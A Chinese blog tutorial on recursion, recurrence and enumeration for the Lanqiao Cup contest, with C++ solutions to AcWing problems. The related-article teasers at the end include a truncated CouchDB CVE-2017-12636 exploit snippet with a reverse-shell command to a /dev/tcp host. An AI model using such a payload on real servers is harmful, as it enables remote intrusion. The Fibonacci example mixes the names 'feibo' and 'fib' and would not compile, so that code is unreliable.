蓝桥杯备赛 day 1 —— 递归 、递归、枚举算法(C/C++,零基础,配图)
目录
🌈前言
📁 枚举的概念
📁递归的概念
例题:
1. 递归实现指数型枚举
2. 递归实现排列型枚举
3. 递归实现组合型枚举
📁 递推的概念
例题:
斐波那契数列
📁习题
1. 带分数
2. 反硬币
3. 费解的开关
📁 总结
🌈前言:
![]()
这篇文章主要是准备蓝桥杯竞赛同学所写,为你更好准备蓝桥杯比赛涉及的算法知识点。不知道你是否苦恼于不知算法从何学起,苦恼于网上资料稀少,或者复杂难懂,这篇文章就是帮助这部分同学的。
这篇文章会将C平滑过度到C++,如果你只学过C语言的基本语法,也没必要担心不合适,涉及到的C++知识点会进行详细讲解。
📁 枚举的概念:
很多问题都可以" 暴力解决 " —— 不用太多脑筋,把所有可能性全部列举出来,然后一一市实验。尽管这样的方法显得很“笨”,但常常是行之有效的。
——《 算法竞赛入门经典(第2版) 》
简单的理解就是,列举出所有可能性,逐个实验,合适就留下,不合适就丢弃,看下一个,直到列举完全部数据。
这里为什么讲解枚举呢,因为在递归和递推的很多题中,常常结合枚举法,所以我们先讲解其概念,方便接下里更好的讲解递归和递推。
在算法竞赛中,对于大多数人来说,其实并不需要关注算法的优化和鲁棒性(健壮性),只需要AC(通过)即可,所以,在实际比赛中,往往通过暴力枚举的方法就可以获得大部分的分数,所以打好递归和枚举的基础,非常重要。
📁递归的概念:
递归的思想就是,将一个大问题化解成一个个子问题,直到化解成我们简单理解计算的数。放在C/C++语言中就是,1. 函数自己调用自己;2. 必须有函数调用结束条件;3. 每次调用越来越接近这个条件。
这个概念相信大家在C语言学习阶段都有学习过,所以我们简单提一下,我们通过例题来更好的理解。当然,如果你感觉一开始很难理解,这很正常,多看几遍思路,照着敲一遍,自己在写一遍(注意这里就不能照着超了,即便错了,也要自己调试,超过15分钟后依旧没思路再来看)。如果感觉头痛,休息一下,再回来敲代码,坚持不放弃就是胜利。
📁 例题:
我们先给出原题,如果你有思路,可以自己先写一遍。其次,在展示 思路,最后展示代码。
1. 递归实现指数型枚举
92. 递归实现指数型枚举 - AcWing题库
解题思路:
我们先创建一个数组,有N+1 个元素,我们使用下标1 ~ N 表示每个数,如果这个数被选择,放如数字1;如果没有被选择,就放入2。最后打印1~N被选择的数。
//引入C语言标准头文件stdio.h ,包含printf 和 scanf函数
//引入C语言标准头文件string.h ,包含字符串 和 内存 函数
#include <cstdio>
#include <cstring>//包含函数cin , cout 类似于 scanf 和 printf
#include <iostream>//C++STL算法,部分算法的使用
#include <algorithm>using namespace std;const int N = 15; //数组开辟的多一点,方便操作。int n;int st[N]; //每个数的状态,0代表未知 1代表选取 2代表未选取//u是下标
void dfs(int u)
{if (u > n){for (int i = 1;i <= n;i++){if(st[i] == 1)printf("%d ", i);}puts("");return;}st[u] = 1; //未选取dfs(u + 1);st[u] = 0; //还原现场,删掉也可以,下面会重置st[u] = 2; //选取dfs(u + 1);st[u] = 0; //还原现场}int main()
{cin >> n;dfs(1);return 0;
}
2. 递归实现排列型枚举
94. 递归实现排列型枚举 - AcWing题库
解题思路:
这里我们可以沿用上一个题解的思路,不过有了一点延伸。之前我们是对每个数进行枚举,选择或是不选择。
现在,我们对每个位置进行枚举,枚举出一个没有被选择的数,直到最后一个位置枚举结束,打印。
#include <iostream>
#include <cstdio>
#include <cstring>
#include <algorithm>using namespace std;const int N=10; //为了方便理解,下标从1开始int n;
int stu[N]; //每个位置
bool used[N]; //每个数的状态,选择就是 true,没选择就是 false//u就是下标,代表哪一个位置
void dfs(int u)
{if (u > n){for (int i = 1;i <= n;i++){printf("%d ", stu[i]);}puts("");}for (int i = 1;i <= n;i++){if (!used[i]){stu[u] = i;used[i] = true;//递归到下一位置dfs(u + 1);//恢复现场used[i] = false;}}
}int main()
{cin >> n;dfs(1);return 0;
}
3. 递归实现组合型枚举
解题思路:
什么组合呢,就是不管顺序,例如,{1,2,3} 和 {1,3, 2}若果是排列的话,就是不同的排列;如果是组合的话,就是同一个组合。
字典序是什么呢,例如 ab 和 ac 的ab字典序较小,比较的就是ASCII码值;abc 和 ab的字典序,ab在前面。
介绍了上面两个内容,已经有了做题的基础。其实这题也是非常好做的,就是排列型枚举的衍生,可以阅读样例,其实有一种规律就是,每一个位置的数据都比他前一个数据大,也就是我们从小到大依次枚举,得到的就是一个字典组较小的在前的组合。
1. 在每个位置枚举未出现的数字;
2. 每个位置的数据都比前一个位置的数据大
这里我们可以进行一个优化,例如,3个位置从1~3中进行组合,如第一个数是2 或者 3 就没必要枚举了,因为没有2 和 3 后面的数不能够填满剩余2 个位置。
#include <cstdio>
#include <cstring>
#include <iostream>
#include <algorithm>using namespace std;const int N = 25;int n;
int m;
int ways[N]; //每个位置的数据,存放到数组ways中//u就是下标,start就是比前一个位置的数据大的那个数据
void dfs(int u,int start)
{//这里进行了优化,例如样例中,4和5放在第一个位置就没必要往下枚举了if (n - start < m - u){return;}//枚举完了m个位置,进行打印if(u > m){for(int i =1;i<=m;i++){printf("%d ",ways[i]);}puts("");return ;}//在每个位置上进行枚举操作,枚举没有出现的数字,并保持有序for(int i=start;i<=n;i++){ways[u] = i;dfs(u + 1 ,i + 1);}
}int main()
{cin>>n>>m;dfs(1,1); //下标从1开始;start = 1,即从1开始枚举return 0;
}
📁 递推的概念:
递归的理解就是,先求出小问题,再由小问题求出大问题。下面就用斐波那契数列作为讲解,第三项就是前两项求和。
📁例题:
斐波那契数列
#include <iostream>using namespace std;int n,fib[50];int main(){cin >> n;feibo[0]=0;feibo[1]=1;for(int i=2;i<n;++i) fib[i]=fib[i-1]+fib[i-2];for(int i=0;i<n;++i) printf("%d ",fib[i]);return 0;
}
📁习题:
1. 带分数
1209. 带分数 - AcWing题库
#include <cstdio>
#include <cstring>
#include <iostream>
#include <algorithm>using namespace std;const int N = 20;bool used[10];int num;
int ans;bool check(int a, int c)
{long long b = num * (long long)c - a * c;if (!a || !b || !c){return false;}bool backup[N];memcpy(backup, used, sizeof used);while (b){int i = b % 10;b /= 10;if (!i ||backup[i]){return false;}backup[i] = true;}for (int i = 1;i < 10;i++){if (!backup[i]){return false;}}return true;
}void dfs_c(int u,int a, int c)
{if (u > 9){return;}if (check(a, c)){ans++;}for (int i = 1;i <= 9;i++){if (!used[i]){used[i] = true;dfs_c(u + 1, a, c * 10 + i);used[i] = false;}}
}void dfs_a(int u,int a)
{if (a >= num){return;}if (a){dfs_c(u, a, 0);}for (int i = 1;i <= 9;i++){if (!used[i]){used[i] = true;dfs_a(u + 1, a * 10 + i);used[i] = false;}}
}int main()
{cin >> num;dfs_a(0,0);cout << ans;return 0;
}
2. 翻硬币
1208. 翻硬币 - AcWing题库
3. 费解的开关
95. 费解的开关 - AcWing题库
#include <cstdio>
#include <cstring>
#include <iostream>
#include <algorithm>using namespace std;char g[6][6], back[6][6];
int T;
int dx[5] = { -1,0,1,0,0 }, dy[5] = { 0,1,0,-1,0 };void turn(int x,int y)
{for (int i = 0;i < 5;i++){int a = x + dx[i];int b = y + dy[i];if (a < 0 || a >= 5 || b < 0 || b >= 5){continue;}g[a][b] ^= 1;}
}int main()
{cin >> T;while (T--){//对每一行进行输入for (int i = 0;i < 5;i++){cin >> g[i];}int ret = 10;//枚举第一行的操作for (int op = 0;op < 32;op++){int step = 0;memcpy(back, g, sizeof g);//对第一行进行操作for (int i = 0;i < 5;i++){if (op >> i & 1){step++;turn(0, i);}}//对第2 - 4 行进行操作for (int i = 0;i < 4;i++)for (int j = 0;j < 5;j++){if (g[i][j] == '0'){step++;turn(i + 1, j);}}//对最后一行进行检查bool dark = false;for (int i = 0;i < 5;i++){if (g[4][i] == '0'){dark = true;break;}}if (!dark)ret = min(step, ret);memcpy(g, back, sizeof g);}if (ret > 6)ret = -1;cout << ret << endl;}return 0;
}
📁 总结:
以上,我们就对递归、递推和枚举在蓝桥杯中的知识点进行了讲解,并针对性的讲解了例题,当然这也只是帮你更好的理解这些算法知识,想要学好算法,还需要不断地刷题练习,这里推荐到洛谷,acwing等网站进行练习,比如你看完了这篇文章,做回了例题习题,就可以上这些网站进行想应的练习。
相关文章:
![](https://img-blog.csdnimg.cn/direct/ab04542dc14e495c8760ec1cf785fce1.gif)
蓝桥杯备赛 day 1 —— 递归 、递归、枚举算法(C/C++,零基础,配图)
目录 🌈前言 📁 枚举的概念 📁递归的概念 例题: 1. 递归实现指数型枚举 2. 递归实现排列型枚举 3. 递归实现组合型枚举 📁 递推的概念 例题: 斐波那契数列 📁习题 1. 带分数 2. 反硬币 3. 费解的…...
![](https://www.ngui.cc/images/no-images.jpg)
87 双指针解验证回文字符串II
问题描述:简单给定一个非空字符串s,最多删除一个字符,判断是否成为回文字符串。 双指针解法:指针1指向开头,指针2指向结尾,定义一个count记录不满足回文串的数量,若超过1,则返回fal…...
![](https://img-blog.csdnimg.cn/f95ddae62a4e43a68295601c723f92fb.gif#pic_center)
【排序算法】【二叉树】【滑动窗口】LeetCode220: 存在重复元素 III
作者推荐 【二叉树】【单调双向队列】LeetCode239:滑动窗口最大值 本文涉及的基础知识点 C算法:滑动窗口总结 题目 给你一个整数数组 nums 和两个整数 indexDiff 和 valueDiff 。 找出满足下述条件的下标对 (i, j): i ! j, abs(i - j) < indexDi…...
![](https://img-blog.csdnimg.cn/direct/14868eb6744a4a699aa512e0ea0ee3e7.png)
OS 7--DNS配置+Apache发布网站
环境准备 centOS 7 1.配置DNS 1.1 域名为lianxi.com 1.2 为WWW服务器、FTP服务器、NEWS服务器做域名解析 1)安装DNS yum -y install bind bind-utils (如果安装不上,就把磁盘在重洗挂载一下) 2)修改DNS配置文件 vim /etc/resolv.conf…...
![](https://img-blog.csdnimg.cn/img_convert/c927ae6aa74e1f7b73bcdf0cff20b6cc.jpeg)
1月2日代码随想录二叉树的最小深度及层序遍历总结
个人认为这么一个层序遍历的章节放这么多基本一样的题目算是很没意思的了 填充每个节点的下一个右侧节点和二叉树最大深度和前面的代码几乎完全一样,所以我就跳过了 代码随想录 (programmercarl.com) 代码随想录 (programmercarl.com) 111.二叉树的最小深度 给…...
![](https://img-blog.csdnimg.cn/direct/0202648300604cbe9a5d6f82ac034509.gif)
RK3568平台开发系列讲解(Linux系统篇)PWM系统编程
🚀返回专栏总目录 文章目录 一、什么是PWM二、PWM相关节点三、PWM应用编程沉淀、分享、成长,让自己和他人都能有所收获!😄 📢本篇将介绍 PWM 的系统编程。 一、什么是PWM PWM,即脉冲宽度调制(Pulse Width Modulation)...
![](https://img-blog.csdnimg.cn/direct/bbdd7f3b18e74968b2aad33b686f40b2.png)
Linux CPU 数据 Metrics 指标解读
过去从未仔细了解过使用 top 和 htop 等命令时显式的CPU信息,本文我们详解解读和标注一下各个数据项的含义,同时和 Ganglia 显式的数据做一个映射。开始前介绍一个小知识,很多查看CPU的命令行工具都是 cat /proc/stat 里的数据,所…...
![](https://img-blog.csdnimg.cn/913eb04c2155496897ecdc262ae34950.png)
Ansible自动化运维(一)简介及部署、清单
👨🎓博主简介 🏅云计算领域优质创作者 🏅华为云开发者社区专家博主 🏅阿里云开发者社区专家博主 💊交流社区:运维交流社区 欢迎大家的加入! 🐋 希望大家多多支…...
![](https://img-blog.csdnimg.cn/direct/36cc9ab66fd441608bef17354f5c721a.png#pic_center)
深度学习MLP_实战演练使用感知机用于感情识别_keras
目录 (1)why deep learning is game changing?(2)it all started with a neuron(3)Perceptron(4)Perceptron for Binary Classification(5)put it all toget…...
![](https://img-blog.csdnimg.cn/direct/b439c2de2a6248e1a6e7eee66c84f543.png)
[ffmpeg系列 02] 音视频基本知识
一 视频 RGB: AV_PIX_FMT_RGB24, ///< packed RGB 8:8:8, 24bpp, RGBRGB… Y:明亮度, Luminance或luma, 灰阶图, UV:色度,Chrominance或Chroma。 YCbCr: Cb蓝色分量,Cr是红色分量。 取值范围ÿ…...
![](https://www.ngui.cc/images/no-images.jpg)
【ASP.NET Core 基础知识】--目录
介绍 1.1 什么是ASP.NET Core1.2 ASP.NET Core的优势1.3 ASP.NET Core的版本历史 环境设置 2.1 安装和配置.NET Core SDK2.2 使用IDE(Integrated Development Environment):Visual Studio Code / Visual Studio 项目结构 3.1 ASP.NET Core项…...
![](https://img-blog.csdnimg.cn/direct/bf95400f8d604aec8b4796fd3452590c.png)
java数据结构与算法刷题-----LeetCode509. 斐波那契数
java数据结构与算法刷题目录(剑指Offer、LeetCode、ACM)-----主目录-----持续更新(进不去说明我没写完):https://blog.csdn.net/grd_java/article/details/123063846 很多人觉得动态规划很难,但它就是固定套路而已。其实动态规划只…...
![](https://www.ngui.cc/images/no-images.jpg)
vue3 element plus el-table封装(二)
上文是对el-table的基本封装,只能满足最简单的应用,本文主要是在上文的基础上增加slot插槽,并且对col插槽进行拓展,增加通用性 // BaseTable.vue <template><el-table><template v-for"name in tableSlots&…...
![](https://www.ngui.cc/images/no-images.jpg)
cnn lstm结合网络
目录 特征处理例子: cnn 5张图片一组,提取特征后,再给lstm,进时间序列分类。 特征处理例子: import torch# 假设 tensor 是形状为 15x64 的张量 tensor torch.arange(15 * 2).reshape(15, 2) # 生成顺序编号的张量&…...
![](https://img-blog.csdnimg.cn/direct/3401e499da404ff4a4b333fa167aaeef.png)
Ubuntu连接xshell
安装ssh服务器 sudo apt-get install openssh-server 重启ssh sudo service ssh restart 3.启动ssh服务 /etc/init.d/ssh start4.修改文件,允许远程登陆 sudo vi /etc/ssh/sshd_config PermitRootLogin prohibit-password #默认为禁止登录 PermitRootLogin y…...
![](https://img-blog.csdnimg.cn/direct/fa2a001a82b14336904dbaf007410ec8.png)
nginx安装和配置
目录 1.安装 2.配置 3.最小配置说明 4. nginx 默认访问路径 1.安装 使用 epel 源安装 先安装 yum 的扩展包 yum install epel-release -y 再安装 nginx yum install nginx -y 在启动nginx 前先关闭防火墙 systemctl stop firewalld 取消防火墙开机自启 systemctl di…...
![](https://img-blog.csdnimg.cn/img_convert/d5a7434260c1439aeb94a6e5457b72c0.png#pic_center)
【头歌实训】kafka-入门篇
文章目录 第1关:kafka - 初体验任务描述相关知识Kafka 简述Kafka 应用场景Kafka 架构组件kafka 常用命令 编程要求测试说明答案代码 第2关:生产者 (Producer ) - 简单模式任务描述相关知识Producer 简单模式Producer 的开发步骤Ka…...
![](https://img-blog.csdnimg.cn/img_convert/2c671f61d6c16fecdecbde8eaedf0d65.png)
华为云创新中心,引领浙南的数字化腾飞
编辑:阿冒 设计:沐由 县域经济是我国国民经济的重要组成部分,是推动经济社会全面发展的核心力量之一。在推进中国式现代化的征程中,县域经济扮演的角色也越来越重要。 毫无疑问,县域经济的良性发展,需要多方…...
![](https://img-blog.csdnimg.cn/direct/a618dd73c34f4964966bfa94fd3ca915.png)
240101-5步MacOS自带软件无损快速导出iPhone照片
硬件准备: iphone手机Mac电脑数据线 操作步骤: Step 1: 找到并打开MacOS自带的图像捕捉 Step 2: 通过数据线将iphone与电脑连接Step 3:iphone与电脑提示“是否授权“? >>> “是“Step 4:左上角选择自己的设…...
![](https://img-blog.csdnimg.cn/direct/e12e7cd62426494885f45e1c8bd77eb9.png)
github鉴权失败
问题: 如上图所示 git push 时发生了报错,鉴权失败; 解决方案 Settings->Developer settings->Personal access tokens->Generate new token。创建新的访问密钥,勾选repo栏,选择有效期,为密钥命…...
![](https://img-blog.csdnimg.cn/img_convert/bc5bb8a141b12da7157e7a35b5e02195.png)
2023湾区产城创新大会:培育数字化供应链金融新时代
2023年12月26日,由南方报业传媒集团指导,南方报业传媒集团深圳分社主办的“新质新力——2023湾区产城创新大会”在深圳举行。大会聚集里国内产城研究领域的专家学者以及来自产业园区、金融机构、企业的代表,以新兴产业发展为议题,…...
![](https://img-blog.csdnimg.cn/direct/29f1a6b4764543d09bd5887b488e96c2.png)
多维时序 | MATLAB实现SSA-GRU麻雀算法优化门控循环单元多变量时间序列预测
多维时序 | MATLAB实现SSA-GRU麻雀算法优化门控循环单元多变量时间序列预测 目录 多维时序 | MATLAB实现SSA-GRU麻雀算法优化门控循环单元多变量时间序列预测预测效果基本介绍程序设计参考资料 预测效果 基本介绍 1.MATLAB实现SSA-GRU麻雀算法优化门控循环单元多变量时间序列预…...
![](https://img-blog.csdnimg.cn/direct/30910c6cbfb246fcbdf7056a9dc41832.png)
二叉树的前序遍历 、二叉树的最大深度、平衡二叉树、二叉树遍历(leetcode)
目录 一、二叉树的前序遍历 方法一:全局变量记录节点个数 方法二:传址调用记录节点个数 二、二叉树的最大深度 三、平衡二叉树 四、二叉树遍历 一、二叉树的前序遍历 方法一:全局变量记录节点个数 计算树的节点数: 函数TreeSize用于递…...
![](https://img-blog.csdnimg.cn/119d35894f064034bdac7d15e4d99be2.png)
SQL之CASE WHEN用法详解
目录 一、简单CASE WHEN函数:二、CASE WHEN条件表达式函数三、常用场景 场景1:不同状态展示为不同的值场景2:统计不同状态下的值场景3:配合聚合函数做统计场景4:CASE WHEN中使用子查询场景5:经典行转列&am…...
![](https://img-blog.csdnimg.cn/direct/f350fb0075d94edab4bfc87ded5805c8.png)
Ubuntu 18.04搭建RISCV和QEMU环境
前言 因为公司项目代码需要在RISCV环境下测试,因为没有硬件实体,所以在Ubuntu 18.04上搭建了riscv-gnu-toolchain QEMU模拟器环境。 安装riscv-gnu-toolchain riscv-gnu-toolchain可以从GitHub上下载源码编译,地址为:https://…...
![](https://img-blog.csdnimg.cn/img_convert/993ede3303eecb590788cd60fd90e8c7.jpeg)
立足兴趣社交赛道,Soul创新在线社交元宇宙新玩法
近年来,元宇宙概念在全球范围内持续升温,众多企业巨头纷纷加入这场热潮。在一众社交平台中,Soul App凭借其独特的创新理念和技术支撑,致力于打造以Soul为链接的社交元宇宙,成为年轻人心目中的社交新宠。作为新型社交平台的代表,Soul坚持以“不看颜值,看兴趣”为核心,以及持续创…...
![](https://img-blog.csdnimg.cn/img_convert/28e116dc92bdae993bd8d4f3ef3a6d09.jpeg)
Couchdb 任意命令执行漏洞(CVE-2017-12636)
一、环境搭建 二、访问 三、构造payload #!/usr/bin/env python3 import requests import json import base64 from requests.auth import HTTPBasicAuth target http://192.168.217.128:5984 # 目标ip command rb"""sh -i >& /dev/tcp/192.168.217…...
![](https://img-blog.csdnimg.cn/img_convert/9c9dd5fb62cf009fdee1983504ff7ad9.png)
VectorWorks各版本安装指南
VectorWorks下载链接 https://pan.baidu.com/s/1q2WWbePfo-VaGpPtgoWCUQ?pwd0531 1.鼠标右击【VectorWorks 2023(64bit)】压缩包(win11及以上系统需先点击“显示更多选项”)选择【解压到 VectorWorks 2023(64bit)】。 2.打开C盘路径地址【c:\windows\…...
![](https://img-blog.csdnimg.cn/direct/607582f35c034401baf98ff9fa429ba7.png)
【MySQL】数据库中为什么使用B+树不用B树
🍎个人博客:个人主页 🏆个人专栏: 数 据 库 ⛳️ 功不唐捐,玉汝于成 目录 前言 正文 B树的特点和应用场景: B树相对于B树的优势: 结论: 结语 我的其他博客 前言 在数据…...
![](https://img-blog.csdnimg.cn/direct/b63641331229470e81f97b4ae5c3cf1c.png)
微信小程序发送模板消息-详解【有图】
前言 在发送模板消息之前我们要首先搞清楚微信小程序的逻辑是什么,这只是前端的一个demo实现,建议大家在后端处理,前端具体实现:如下图 1.获取小程序Id和密钥 我们注册完微信小程序后,可以在开发设置中看到以下内容&a…...
![](/images/no-images.jpg)
贵阳网站建设网站制作/seo关键词有话要多少钱
众所周知,运维工程师的工作比较繁琐杂乱,且经常是背锅侠。所以要想舒舒服服做好IT运维工作,就要用堡垒机!用了堡垒机,从此告别背锅侠!下面我们小编就给大家简单讲解一下堡垒机的定义、作用、功能等等&#…...
![](/images/no-images.jpg)
简历做的很棒的网站/网站收录提交工具
JQ属性选取attr、prop、data的区别 ps:本人亲测,阿里云2核4G5M的服务器性价比很高,新用户一块多一天,老用户三块多一天,最高可以买三年,感兴趣的可以戳一下:阿里云折扣服务器 1、attr返回属性…...
![](/images/no-images.jpg)
专业的河南网站建设公司/搜狗站长管理平台
Hive 常用函数备忘 1.转换函数 cast (value as type) , 显式的将一个类型的数据转化为另一种类型的数据, 若不能进行转化则返回 null 值. select cast(salary as char(1));返回一个char类型的salary, 若不能进行转化则返回null值.2.条件判断函数 case [...] when ... then …...
![](/images/no-images.jpg)
东台专业做网站/株洲网站设计外包首选
5.1 Laravel中的文件上传 文件系统 Laravel 的文件系统是基于 Frank de Jonge 的 Flysystem 扩展包 提供了简单的接口,可以操作本地端空间、Amazong S3、Rackspace Clound Storage 可以非常简单的切换不同的保存方式,但仍使用相同的api操作 配置文件…...
![](/images/no-images.jpg)
武汉新闻头条/sem和seo是什么
1、Matplotlib 简介 数据可视化有助于更有效地讲述有关数据的故事并使其易于呈现。有时很难用静态图表来解释数据的变化,为此,我们将讨论matplotlib提供的名为“Animation”的动画库之一。以下是要涵盖的主题。 最流行的Python二维绘图库是Matplolib。大多数人从Matplotlib开…...
![](/images/no-images.jpg)
计算机专业有哪些/seo精灵
head元素元素包含了所有的头部标签元素可以添加在头部区域的元素标签为:title,style,meta,link,script,noscript,base定义不同文档的标题。定义了浏览器工具栏的标题。当网页添加到收藏夹时,显示在收藏夹中的标题。显示在搜索引擎结果页面的标题。eg: 我是标题 标签…...